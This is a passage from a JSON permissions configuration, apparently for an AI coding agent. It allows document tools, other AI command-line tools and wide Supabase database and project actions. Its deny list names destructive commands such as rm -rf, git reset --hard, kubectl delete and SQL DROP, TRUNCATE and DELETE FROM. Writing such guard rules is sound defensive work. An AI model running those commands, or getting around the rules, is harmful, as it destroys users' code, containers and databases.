      "Bash(pandoc:*)",
      "Bash(latex:*)",
      "Bash(pdflatex:*)",
      "Bash(xelatex:*)",
      "Bash(lualatex:*)",
      "Bash(bibtex:*)",
      "Bash(biber:*)",
      "Bash(texdoc:*)",
      "Bash(gs:*)",
      "Bash(ghostscript:*)",
      "Bash(pdftk:*)",
      "Bash(qpdf:*)",
      "Bash(pdftotext:*)",
      "Bash(pdfimages:*)",
      "Bash(pdfseparate:*)",
      "Bash(pdfunite:*)",
      "Bash(wkhtmltopdf:*)",
      "Bash(weasyprint:*)",
      "Bash(prince:*)",
      "Bash(asciidoctor:*)",
      "Bash(sphinx-build:*)",
      "Bash(mkdocs:*)",
      "Bash(docusaurus:*)",
      "Bash(mdbook:*)",
      "Bash(gitbook:*)",
      "Bash(gh copilot:*)",
      "Bash(aider:*)",
      "Bash(cody:*)",
      "Bash(tabby:*)",
      "Bash(ollama:*)",
      "Bash(llm:*)",
      "Bash(sgpt:*)",
      "Bash(chatgpt:*)",
      "Bash(claude:*)",
      "Bash(anthropic:*)",
      "Bash(openai:*)",
      "WebFetch",
      "WebSearch",
      "mcp__plugin_supabase_supabase__list_projects",
      "mcp__plugin_supabase_supabase__get_project",
      "mcp__plugin_supabase_supabase__list_organizations",
      "mcp__plugin_supabase_supabase__get_organization",
      "mcp__plugin_supabase_supabase__list_tables",
      "mcp__plugin_supabase_supabase__list_extensions",
      "mcp__plugin_supabase_supabase__list_migrations",
      "mcp__plugin_supabase_supabase__apply_migration",
      "mcp__plugin_supabase_supabase__execute_sql",
      "mcp__plugin_supabase_supabase__get_logs",
      "mcp__plugin_supabase_supabase__get_advisors",
      "mcp__plugin_supabase_supabase__get_project_url",
      "mcp__plugin_supabase_supabase__get_publishable_keys",
      "mcp__plugin_supabase_supabase__generate_typescript_types",
      "mcp__plugin_supabase_supabase__list_edge_functions",
      "mcp__plugin_supabase_supabase__get_edge_function",
      "mcp__plugin_supabase_supabase__deploy_edge_function",
      "mcp__plugin_supabase_supabase__search_docs",
      "mcp__plugin_supabase_supabase__get_cost",
      "mcp__plugin_supabase_supabase__confirm_cost",
      "mcp__plugin_supabase_supabase__create_project",
      "mcp__plugin_supabase_supabase__pause_project",
      "mcp__plugin_supabase_supabase__restore_project",
      "mcp__plugin_supabase_supabase__create_branch",
      "mcp__plugin_supabase_supabase__list_branches",
      "mcp__plugin_supabase_supabase__delete_branch",
      "mcp__plugin_supabase_supabase__merge_branch",
      "mcp__plugin_supabase_supabase__reset_branch",
      "mcp__plugin_supabase_supabase__rebase_branch",
      "Skill",
      "AskUserQuestion",
      "Glob",
      "Grep"
    ],
    "deny": [
      "Bash(rm -rf:*)",
      "Bash(rm -r:*)",
      "Bash(git reset --hard:*)",
      "Bash(git push --force origin main:*)",
      "Bash(git clean:*)",
      "Bash(git branch -D:*)",
      "Bash(docker rm:*)",
      "Bash(docker rmi:*)",
      "Bash(docker system prune:*)",
      "Bash(kubectl delete:*)",
      "Bash(DROP:*)",
      "Bash(TRUNCATE:*)",
      "Bash(DELETE FROM:*)"
    ],
    "defaultMode": "__DEFAULT_MODE__"
  },
  "enabledPlugins": {
    "code-review@claude-plugins-official": true,
    "pr-review-toolkit@claude-plugins-official": true,
    "frontend-design@claude-plugins-official": true,
    "security-guidance@claude-plugins-official": true,
    "playwright@claude-plugins-official": true,
    "typescript-lsp@claude-plugins-official": true,
    "feature-dev@claude-plugins-official": true
  }
}